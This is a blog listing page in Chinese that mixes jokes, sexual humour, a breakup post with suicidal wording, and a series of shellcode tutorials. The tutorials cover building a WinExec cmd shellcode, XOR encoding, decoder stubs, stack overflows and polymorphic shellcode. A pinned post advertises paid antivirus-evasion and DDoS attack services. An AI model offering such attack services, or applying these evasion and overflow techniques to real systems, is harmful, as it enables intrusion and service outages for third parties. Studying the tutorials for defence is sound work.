分页:«1234567»

[置顶] 出售免杀服务接受非法网吧、站点的DDos攻击服务

[置顶] 订阅本站——用RSS阅读器或Email及时掌握本站信息更新

发布:Admin   分类:【文摘荟萃】

80后一般都知道的60句话

 1、吃自助最高境界:扶墙进,扶墙出。
   2、结婚必备条件:有车有房,父母双亡。
    3、没有钱,没有权,再不对你好点,你能跟我?
    4、拿份报纸上厕所,俺是读书人。
    5、上Google上百度一下。
    6、女人一定要对自己好一点。一旦累死了,就会有别的女人花你的钱,住你的房,睡你的老公,打你的娃!
...

Read More...
发布:Admin   分类:【文摘荟萃】

几种典型程序Button处理代码的定位总结

标 题: 几种典型程序Button处理代码的定位
作 者: jingulong
时 间: 2006-01-04,15:33
链 接: http://bbs.pediy.com/showthread.php?t=20078
首先
1 od 下运行程序,F12 暂停;
2 View菜单中选击Windows项,在打开的窗口中可以从Title栏看到目标按钮,从而找到它的Handle(xxxxxxxx) ;

... Read More...
发布:Admin   分类:【文摘荟萃】

失恋的遗书

我他吗失恋了`````````失恋了```我都JB要疯了```````要疯了```现在哭都找不着调了````死了````我他吗死了得了``看完我这篇日志的``````兄弟门```我也就快死了 你们也就看不见我了 这是我钱龙这辈子```  写的最后一篇日志~~~~~我尊敬的洋哥````你一定要好好的`````  努力```加油````好好活着 小豪````好好上学`````别老玩

Read More...
发布:Admin   分类:【文摘荟萃】

完全叫床手册

甲、(中国篇)
1.YES型——————这类型的叫声,如行文一般。非常有起、承、转、合、高、低、起、伏,令听者有如沐春风、常喜不自胜..基本音效:『 OH...N..ye....ye....ye...yes....』
分析:事实上,在中国台湾几乎很少有女生是这样子叫的。这种叫床法大部份是发生在金发碧眼的外国女孩子身上。但有叁种例外情形:一、华裔美人。
二、看太多外国A片而效法之。
叁、观光饭店赚取外汇的应召女郎。
备注:本研究因限於地域问题、经验关系,只以黑发女性为主。
2.春字型
基本音效:『春....春....春.......』
分析:这是『性教育』失败的典范。
因为仿间书刊常谓:当『作爱』时女性会忍不住叫春.....於是天真无知的少女,献身给心爱的人时,唯恐被怀疑是『性冷感』,便唯妙唯肖表演了起来:春....春....春....
备注:本案例资料确实发生在台湾本地、海峡彼案。绝非危言耸听。
 

Read More...
发布:Admin   分类:【文摘荟萃】

Shellcode学习之如何手动编写shellcode

shellcode一般C语言或者汇编语言生成,如果你也是刚学shellcode,最好手动自己生成,但是如果你已是高手就自己写个模版,自动生成。这方面Hume大侠已有论述,很多知名网络安全网站都有刊载。
现在举个最简单的手动生成shellcode的例子,假如我们已经找到了溢出点,这个shellcode会让你获取一个cmd命令行执行你想要执行的命令,很简单吧,说白了就是调用Winexec函数,只不过我们要把它转化为shellcode。平台xp-sp2,环境VC(就不用专门的 debugger了)。
由于已知了平台,我们首先获取想要API的地址,这里是WinExec。怎么获取?
HINSTANCE LibHandle = LoadLibrary("kernel32.dll");
MYPROC ProcAdd = (MYPROC) GetProcAddress(LibHandle, "WinExec");
得到ProcAdd =0x7c86114d,这个就是WinExec的地址了。
下面我用汇编写执行WinExec的代码,有点基础的人一看就明白。
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,04h
mov [ebp-08h],63h //c
mov [ebp-07h],6Dh //m
mov [ebp-06h],64h //d
mov [ebp-05h],2Eh //.
mov [ebp-04h],65h //e
mov [ebp-03h],78h //x
mov [ebp-02h],65h //e
push 1 //压栈第一个参数

Read More...
发布:Admin   分类:【文摘荟萃】

Shellcode学习之编写shellcode补完

看来我真是个菜虫,写栈溢出例子程序的时候才发现自己写的shellcode的问题,这么简单的问题我怎么就没想到呢?看来我真是菜。
什么问题?唉,上篇的shellcode中有那么多0x00这种特殊的字符,strcpy能执行完全才怪!好,今天来个补完,谈谈shellcode编码问题。编码是正是为了去除shellcode中特殊字符串的问题,方法大概有异或法,直接替换法和拆分法,我是菜虫我用异或法。
异或法就是简单地将shellcode异或。
void Encode(char *Sc)
{
int i,j;
int EnKey=0x99; //与之异或的值
char msg[4];
for(i=0;i<54;i++)
{
Sc[i]=Sc[i]^EnKey;
}
for(i=0;i<54;i++)
{
sprintf(msg,""x%.2X",Sc[i]&0xff);
for(j=0;j<4;j++) printf("%c",msg[j]);
}
printf(""n");
}
很简单吧,这样就完成了shellcode的xor编码了。再看看怎么解码,我用汇编写了一小段,方便提取机器码。
 

Read More...
发布:Admin   分类:【文摘荟萃】

Shellcode学习之定制特殊的shellcode

decode code满足的功能很简单:得到encoded shellcode的头,依次做“取四个字节,取四个字节,相加,放入内存”的工作,用代码来描述,就是如下(在VC中嵌入汇编,很简单方便,也很短小):

_asm
{
    jmp short getaddr
dstart:
    pop ebx
    xor ecx, ecx
    mov cx, 0x112        ;ShellcodeLength / 2
    xor esi, esi
    xor edi, edi
decode:
    mov eax, [ebx+esi]    ;取四个字节
    add esi, 4
    add eax, [ebx+esi]    ;取下面四个字节相加
    mov [ebx+ edi], eax    ;放入内存
    add esi, 4
    add edi, 4
    loop decode
    jmp short scstart
getaddr:
    call dstart
scstart:
    nop            ;并不真正需要这个nop,跟上前面说的encode shellcode就可以了
}

有shellcode编写经验的朋友应该一下子就能看出来,这是很简单的一个decode。jmp short getaddr一直到pop ebx这一段,就是为了动态获得执行时当前的内存地址,注意这里没有dec ebx,原因在于后面我们并没有用ecx同时作为循环的次数控制和地址偏移(那样子很困难)。对cx的赋值,因为我们每四个字节来取,而且对原始的 shellcode编码后变长了两倍,所以只要是原始shellcode的一半长度就可。decode部分,采用的是上面所说的算法,最后当循环结束,也就是解码结束以后,一个小的跳转到真正的shellcode上面去。

Read More...
发布:Admin   分类:【文摘荟萃】

Shellcode学习之栈溢出原理初探

比如:
SubProcess proc
.................
.................
SubProcess endp

start::
...............
...............
call SubProcess
addr 1-> ...............
ends
压栈顺序是这样的:
______
高地址 | _ret__ | <--也就是addr1
|_ebp__|
|.....buf...| buf是子程序所需字符串的大小
低地址 |______|
你肯定知道windows下栈是向下生长的,和内存正好相反。
那么我们现在要做什么呢?我们需要利用c语言不检查边界的缺陷,经过一定的计算覆盖掉addr1,将addr1换成我们设置好的shellcode的执行地址,也就是说子程序将不能正确返回,程序的流程被打乱了。比如现在buf为256字节,如果我们给它强行拷贝264字节就会覆盖到ret地址。
难点:ret地址应该填什么?
 

Read More...
发布:Admin   分类:【文摘荟萃】

Shellcode学习之定制自己的shellcode

用图表示一下这个等价划分方法是这样的,其中SSSS表示原来的shellcode,abcd表示标识。

SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS...
----------------------------------------------------
abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcda...

如果是一个模四的等价划分,即为所有原来字符第0、4、8……个字符重新排列成一个字符串(也就是所有标识为a的S),而第1、5、9……个字符重新排列成另一个字符串(标识为b的S),以此类推。这样划分出来的若干个字符串,相对来说是独立的,可以单独的进行运算而互相不影响。
 

Read More...
发布:Admin   分类:【文摘荟萃】

Shellcode学习之编写变形的shellcode[实战篇]

那么,我们的变形之旅还是从一个最基本的decode部分开始:

jmp l
de: pop ebx
xor ecx, ecx
mov cl, 222h
lp: xor byte ptr [ebx], 0x99
inc ebx
loop lp
jmp stt
l: call de
stt:

看过两期连载的朋友可能都要笑了,又是这个,都看烦了。没关系,总是从最简单的开始嘛。我们假设起作用的部分是xor过0x99的,就可以专注于解码部分了。如果异或的数字不是0x99,那只需要改变第五行的那个操作数即可——这也是一个变形。这一块解码部分首先满足了相对的独立性,也就是说它不依赖于任何的环境,比如各种寄存器的值或者是栈上的数据,它只是负责将后面的数据按照异或0x99的方式解码,这样子,我们把它看作一个“帽子”,并用D来表示,将X()作为异或0x99的编码方法,对于任何一个可执行的shellcode(表示为字符串S),下面就是我们最常看到的形式:

 

Read More...
分页:«1234567»
article.clear
panel.clear